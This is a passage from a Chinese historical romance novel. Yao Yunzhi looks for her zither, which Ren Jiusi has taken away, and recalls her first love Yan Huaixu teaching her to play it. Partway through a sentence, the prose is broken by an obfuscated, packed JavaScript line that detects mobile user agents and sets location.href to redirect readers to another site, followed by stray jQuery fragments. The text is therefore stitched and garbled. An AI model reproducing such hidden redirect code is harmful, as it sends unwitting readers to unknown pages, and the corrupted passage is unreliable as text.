雪下了一夜，簇簇堆在树梢上。风一过，枝桠便摇晃着探进窗棂，挠得窗纸也跟着哆嗦了下。
屋里蜡烛快烧到了底，火苗间或向上窜着，把衣柜的铜锁晃成跳动的金豆子。
姚韫知卸了外袍，关上柜门，抬眼时目光忽地僵住。
原本悬琴的墙面空得扎眼，四周积着经年的浮灰，唯中间一方墙皮颜色略浅。那张桐木琴挂得太久，在青灰的壁上烙出个琴形的印子，仿佛连映在上面的影子都蒙了层薄尘。
姚韫知心口一紧，下意识拔高了声音：“云初。”
云初忙放下手里的东西，走到姚韫知身侧，问道：“夫人有何吩咐？”
“我挂在这的那张琴去哪了？”
云初回道：“被任公子拿走了。”
“任公子？”姚韫知蹙了蹙眉尖。
“夫人忘了，这琴弦前几日断了一根，”云初解释道，“奴原是打算拿出去找人修补的，正好遇到了任公子。他说，说这琴已经十分脆弱，若是拿出去给寻常的工匠修补，怕是一个不留神就把琴身弄散架了。倒不如让他来试一试，说不准能补得和以前一样，不留一点痕迹。”
姚韫知心不在焉地点了点头道：“我知道了。”
云初正要退下，又听见姚韫知吩咐道：“你一会儿去趟照雪庐，替我把琴取回来。”
话才说出口又立刻改口道：“算了，还是我自己亲自去拿吧。我倒是要看看，他成日躲在屋里，究竟是在耍什么花样。”
云初欲言又止，最后没有出言劝阻。
寒风呼啸而过，吹得院内一片银白。地面上偶尔留下一排稀疏的脚印，也很快便被风雪掩埋。
姚韫知在门前停驻须臾，还是推门而入，旋即回身将门锁反插上。
寒夜沉沉，风雪停息，四周寂寥无声。屋里没有点灯，唯有窗棂透进微弱的月色，映得室内轮廓朦胧不清。
琴桌正对着门，她的那张桐木琴就静静横陈其上。
断弦已被取下，还未来得及换上新的。不过琴面显然已经被人细细擦试过。伸手触及琴身，木质表面平滑细腻，不见一丝浮灰。
此前，她向任九思表露出她十分珍视这张琴。
所以他才这般故意投其所好。
可他不会知道，她其实并不喜欢弹琴。
母亲从前总是劝她，如果实在不喜欢女红，学些琴棋书画也是很好的。心中有些寄托，总好过将所有的喜乐都系在一个人身上。
尤其是女子嫁了人以后。
姚韫知听不懂这些。
她只知道这世上最有趣的东西就是话本子。
她一边点着头敷衍母亲，一边离神地想着明日去书斋，一定要悄悄将那本《平妖传》夹到别的正经书里，一起买回来。
后来，她肯费心思学琴，母亲很高兴。
可是她脾气实在太拗，寻常的先生都教不了她。也就只有一个言怀序能让她收收心，心悦诚服地做一个好学生。
母亲看着他们成日里出双入对，又开始头疼了。
不过转念一想，左右他们两人以后也是要成婚的，能够有相投的志趣也不是什么坏事。
索性就由着他们去了。
姚韫知支着下巴，看着窗外的风雪，眼前却恍惚看见廊下的春风拂过，卷起一片零落的梨花，落在言怀序琴案之上。
少年一袭青衫，衣襟熨帖，带着一种疏朗温润的气质。
屋内光线不甚明亮，雪松香微微燃着，浮动的烟气在他侧脸拂过，显得眉目愈发深邃。他的手正搭在琴弦上，指节修长，指腹落在弦上的力道极轻，却让琴音清亮地响起，一丝杂音也没有。
“你的手，应该放这里。”他的声音低缓而清润，似是有意放缓了语速。
姚韫知瞥了他一眼，没怎么听话，随意地将手搭了上去，动作敷衍得很。
她对弹琴一向没什么耐性，更别提端坐在这里听人细细讲解音律了。
言怀序的眉心微不可察地蹙了蹙，似是叹了一口气，然后直接伸手覆在了她的指背上。
“指求其劲，按求其实，则清音始出；手不下徽弹不柔懦，则清音并发。”
他隔着一层薄薄的空气贴着她的手指，指腹稍稍一按，滚烫的触感遽然传来，像火星子落在手背上，把她烫了一下。
姚韫知猝不及防地一顿。
“手指绷紧，再弹一次。”
她却是迟迟没动，偏头瞧他，正好对上他含笑的眉眼。
少年的眼睫极长，眉目沉静。偏偏她的心思浮躁得很，不知道为什么，就觉得耳根子开始发热，心跳也莫名其妙地快了半拍。
她不自在地收回目光，掩饰性地咳了一声，嘟囔道：“知道了，你好啰嗦啊。”
言怀序闻言，笑了一下，手却并未收回，只是略略放松了一点。
他的指尖仍旧搁在她的手背上，带着一丝若有似无的温度。
“韫知，”他的声音很轻，却又带着让人无法忽视的专注，“你若能静下心来，不三心二意地学琴，哪用得着我这样一遍一遍地教？”
姚韫知心里“咯噔”一下，被他说得有些心虚，可嘴上仍旧不肯认输，故作随意道：“那你不要碰我，我自己弹便是。”
言怀序也不争，微微后撤了一点距离，手掌落在琴案上，似笑非笑地看着她，“好，我不碰你，你自己试试看。”
姚韫知被他这目光盯得心里发毛，但到底还是倔强地按上琴弦，勾剔两下。弦下发出的琴音果然一点也不准，连她自己都听不下去。
她抿了抿唇，又换了个角度再试，结果依旧不尽如人意。
少年没说话，只是安静地看着她，眼里带着几分意味不明的笑意。
姚韫知被看得有些恼火，抬起头道：“你笑什么？”
言怀序语气温和地道：“没有嘲笑你，只是觉得你很像我家后院的那只小猫。”
姚韫知一愣，还没反应过来这话是什么意思，他已经继续道：“毛毛躁躁地乱踩，还会伸出爪子挠人。”
姚韫知瞪了他一眼。
她本就坐不住，此刻更觉得自己像是个被戏弄的小孩，顿时有些不服气，索性又去拨琴弦，想证明自己并不是他说的那样愚钝。
可她毕竟没认真学过几回，指法生疏得很，这一回指甲竟是卡在琴弦底下，连音也没有拨响。
她脸上的窘迫越来越明显。
言怀序见状，终于伸出手，轻轻握住了她的手腕。
“慢些，”他说，“急不得。”
姚韫知一怔，想要收回手，却被他按住。
“别乱动，”他的声音仍旧淡淡的，却透着一丝不容拒绝的耐心，“手型不要乱晃。”
他的手掌沿着她的手腕缓缓滑落，最终停在她的指尖。他的手指与她的交叠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333093|167675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在一起，略带强硬地调整着她的指法，耐心引导她按上去，中指垂直于琴弦。
指腹相贴，粗粝的触感清晰得不像话。
姚韫知原本有些抗拒，可他的掌心宽阔温暖，倾下身时，呼吸间带着独有的气息，温柔得让人心跳不自觉慢下来。
她下意识屏住了呼吸，没再想挣开，只是微微垂下眼帘，撩了撩耳后的头发，不让他看到自己泛红的耳廓。
屋内极静，只有琴弦被拨动的声音在空气里缓缓回响。
姚韫知的手随着言怀序的指引按上琴弦。
一道清透的音律随之响起，余音缭绕。
“听见了吗？”言怀序低声问她。
姚韫知轻轻“嗯”了一声。
她不敢看他，也不敢动，只觉得自己的手被他轻轻包裹着，那份温度透过指尖，一点一点地蔓延开来，漾进了心底。
言怀序看着她的侧脸，眼底的笑意更深了一些，微不可察地叹了一口气。
“韫知，”他忽然轻声道，“我其实知道你不喜欢学琴。”
姚韫知怔了一下，抬眼看他，发现他眼里装着无边星辰。
她的心脏已经要跳出胸腔，却还是故意冷着脸道：“那你还帮着母亲把我拘在这里，当真不是个好人。”
言怀序笑了。
他的声音温润低缓，像是柳絮和羽毛，不急不缓地落在她心上，“我来教你弹琴，不是受伯母托付。”
他故意顿了一下，续道：“是因为想见你，才来的。”
她下意识想要移开视线，却被他握着手，重新拨动了一下琴弦。清越的琴音落下，心绪仿佛也随着这声音，一点点被牵引着，密密麻麻地颤动。
她第一次觉得，原来学琴也不是一件那么难熬的事情。
此刻，姚韫知静静地站在原处，目光落在任九思时常坐着看书写字的地方。那里如今空空荡荡，连一丝余温都没有，像是从未有人在此停留过一般。
姚韫知抬手捏了捏眉心，也不知自己是怎么回事，明明任九思的存在对她而言无关紧要，可一想到他已经不在府中，心里竟有些空落落的感觉。
像是屋里的某件东西突然不见了，谈不上珍贵，但一时间却不适应。
她摇了摇头，不愿让自己在这个问题上惆怅太久，转身回到了临风馆。
静谧的夜色里，思绪却像浮尘般四散飘摇，怎么也收拢不住。
她又见到了十五岁的言怀序。
那时的他，清朗温和，站在阳光里，是天地间最明亮的存在。
姚韫知在梦里看着他，仿佛隔着一层水雾，怎么也触碰不到。
她翻了个身。
不知为何，耳边似乎还残留着任九思慵懒散漫的语气。她甚至能想象他随意倚着窗边，把玩着手里的杯盏，眼神中透着几分轻佻和漫不经心。
她想，连宜宁公主都不愿出手相助。
这一回，他的命应该真的是保不住了。
姚韫知忽然有些烦躁，拉起被子将自己蒙住。
外头的风还在吹，枝桠偶尔擦过窗棂，发出一两声轻微的响动，像是有人发出一声沉闷的叹息。
她终于渐渐睡去。
时醒时迷时，她意识到，自己不只是梦到了言怀序，更是在梦中找寻着别的什么东西。
可睁开眼，什么也没有。
她连一个影子都留不住。